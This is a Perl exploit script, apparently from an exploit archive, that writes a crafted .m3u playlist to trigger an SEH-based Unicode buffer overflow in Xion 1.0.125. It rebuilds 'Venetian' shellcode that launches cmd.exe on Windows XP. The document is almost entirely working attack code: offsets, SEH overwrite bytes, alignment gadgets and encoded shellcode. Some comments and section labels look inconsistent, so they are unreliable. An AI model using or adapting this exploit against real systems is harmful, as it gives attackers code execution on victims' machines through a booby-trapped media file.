ExploitFixes
Xion 1.0.125 - '.m3u' Local SEH-Based Unicode Venetian Exploit 2018-03-05 17:05:09

#!/usr/bin/perl
# ########################################################################
# Title: Xion 1.0.125 (.m3u File) Local SEH-based Unicode The “Venetian” Exploit
# Vulnerability Type: Execute Code, Overflow UTF-16LE buffer, Memory corruption
# Date: Feb 18, 2018
# Author: James Anderson (synthetic)
# Original Advisory: http://www.exploit-db.com/exploits/14517 (hadji samir) Published: 2010-07-31
# Exploit mitigation: There is no /SAFESEH, SEHOP, /GS, DEP, ASLR
# About: The technique is taken from that paper: Creating Arbitrary Shellcode In Unicode Expanded Strings Chris Anley
# Tested on: Win NT 5.1.2600 EN: Windows XP SP3 Eng Pro, Intel x86-32
# ########################################################################
# _ _ _ _
# ___ _ _ _ __ | |_| |__ ___| |_(_) ___
# / __| | | | '_ \| __| '_ \ / _ \ __| |/ __|
# \__ \ |_| | | | | |_| | | | __/ |_| | (__
# |___/\__, |_| |_|\__|_| |_|\___|\__|_|\___|
# |___/
#
# ########################################################################

my $path = "/media/s4/DragonR.m3u";

my $buffer_length = 5000;
my $suboffset = 0x104;
my $NOP1 = "\x6F"; # add [edi], ch
my $NOP2 = $NOP1."\x59"; # add [edi], ch # pop ecx

# [0] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Offset to SEH frame
my $crash = "A" x 260;
# [1] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Set SEH frame
$crash .= "\x61".$NOP1; # popad # NOP-eq; nSEH; popad puts an address close to the buffer in EAX
$crash .= "\x79\x41"; # pop r32 pop r32 ret; SEh. address for no /SAFESEH / SEHOP, DEP, ASLR

my $offset_to_payload = length($crash);

# [2] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ settingcode.
# [2.0] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ set ecx=2 and eax -> [shellcode]
$crash .= $NOP1; # NOP-eq
$crash .= "\x6a\x59"; # push 0 # pop ecx
$crash .= $NOP1; # NOP-eq
$crash .= "\x41"; # inc ecx
$crash .= "\xCC"; # add ah, cl # eax = eax + 0x100
$crash .= $NOP1; # NOP-eq
$crash .= "\x41"; # inc ecx
$crash .= "\xC8"; # add al, cl
$crash .= "\xC8"; # add al, cl # eax = eax+2+2;# and as a result: eax = eax + $suboffset(0x104) # EAX -> SC;

# [2.1] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ we're correcting the first BAD character
$crash .= $NOP1; # NOP-eq
$crash .= "\xba\x3b\x41"; # mov edx, 41003b00
$crash .= "\x30"; # add [eax],dh
$crash .= $NOP1; # NOP-eq

# [2.2] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ the second byte and the first 00
$crash .= "\x40"; # inc eax
$crash .= $NOP1; # NOP-eq
$crash .= "\xba\xec\x41"; # mov edx, 4100ec00
$crash .= "\x30"; # add [eax],dh

# [2.3] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ the fourth byte 00. BAD char
$crash .= "\xC8"; # add al, cl # eq eax + 2
$crash .= $NOP1; # NOP-eq
$crash .= "\xba\x45\x41"; # mov edx, 41004500
$crash .= "\x30"; # add [eax],dh
$crash .= $NOP1; # NOP-eq
$crash .= "\xba\x46\x41"; # mov edx, 41004600
$crash .= "\x30"; # add [eax],dh

# [2.4] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
$crash .= "\xC8"; # add al, cl # eq eax + 2
$crash .= $NOP1; # NOP-eq
$crash .= "\xba\x68\x41"; # mov edx, 41006800
$crash .= "\x30"; # add [eax],dh

# [2.5] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
$crash .= "\xC8"; # add al, cl # eq eax + 2
$crash .= $NOP1; # NOP-eq
$crash .= "\xba\x78\x41"; # mov edx, 41007800
$crash .= "\x30"; # add [eax],dh

# [2.6] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
$crash .= "\xC8"; # add al, cl # eq eax + 2
$crash .= $NOP1; # NOP-eq
$crash .= "\xba\x2F\x41"; # mov edx, 41002F00
$crash .= "\x30"; # add [eax],dh

# [2.7] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
$crash .= "\xC8"; # add al, cl # eq eax + 2
$crash .= $NOP1; # NOP-eq
$crash .= "\xba\x63\x41"; # mov edx, 41006300
$crash .= "\x30"; # add [eax],dh

# [2.8] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
$crash .= "\xC8"; # add al, cl # eq eax + 2
$crash .= $NOP1; # NOP-eq
$crash .= "\xba\x64\x41"; # mov edx, 41006400
$crash .= "\x30"; # add [eax],dh

# [2.8] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
$crash .= "\xC8"; # add al, cl # eq eax + 2
$crash .= $NOP1; # NOP-eq
$crash .= "\xba\x8d\x41"; # mov edx, 41008d00
$crash .= "\x30"; # add [eax],dh

# [2.9] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
$crash .= "\xC8"; # add al, cl # eq eax + 2
$crash .= $NOP1; # NOP-eq
$crash .= "\xba\xf8\x41"; # mov edx, 4100f800
$crash .= "\x30"; # add [eax],dh

# [2.10] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
$crash .= "\xC8"; # add al, cl # eq eax + 2
$crash .= $NOP1; # NOP-eq
$crash .= "\xba\xb8\x41"; # mov edx, 4100b800
$crash .= "\x30"; # add [eax],dh

# [2.11] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
$crash .= "\xC8"; # add al, cl # eq eax + 2
$crash .= $NOP1; # NOP-eq
$crash .= "\xba\x49\x41"; # mov edx, 41004900
$crash .= "\x30"; # add [eax],dh
$crash .= $NOP1; # NOP-eq
$crash .= "\xba\x4A\x41"; # mov edx, 41004A00
$crash .= "\x30"; # add [eax],dh

# [2.12] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
$crash .= "\xC8"; # add al, cl # eq eax + 2
$crash .= $NOP1; # NOP-eq
$crash .= "\xba\x77\x41"; # mov edx, 41007700
$crash .= "\x30"; # add [eax],dh

# [2.13] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
$crash .= "\xC8"; # add al, cl # eq eax + 2
$crash .= $NOP1; # NOP-eq
$crash .= "\xba\xd0\x41"; # mov edx, 4100d000
$crash .= "\x30"; # add [eax],dh

# [3] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # -4: one more NOP below # -8: sizeof(SEHframe)
# *2: for UTF-16 # /4: 2 for UTF-16 and 2 for the 2-byte-NOP
$crash .= $NOP2 x (($suboffset - 4 - 8 - (length($crash)*2 - $offset_to_payload*2))/4); # NOP-eq + pop ecx
$crash .= $NOP1."\x6A"; # NOP1 + NOP1-eq (push 0)


# [4] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ shellcode. left - ^jalousie; right - actual shellcode that will be crafted. CMD=cmd.exe
my $shellcode =
"\x50". # "\x8b". # # BAD BYTE
# "\xec". # 0
"\x55". # "\x55".
# "\x8b". # 0 # BAD BYTE
"\xec". # "\xec".
# "\x68". # 0
"\x65". # "\x65".
# "\x78". # 0
"\x65". # "\x65".
# "\x2F". # 0
"\x68". # "\x68".
# "\x63". # 0
"\x6d". # "\x6d".
# "\x64". # 0
"\x2e". # "\x2e".
# "\x8d". # 0
"\x45". # "\x45".
# "\xf8". # 0
"\x50". # "\x50".
# "\xb8". # 0
"\xc7". # "\xc7".
# "\x93". # 0 # BAD BYTE
"\xc2". # "\xc2".
# "\x77". # 0
"\xff"; # "\xff".
# "\xd0"; # 0

$crash .= $shellcode;

$crash .= "C" x ($buffer_length - length($crash));
open(myfile, ">$path");
print myfile $crash;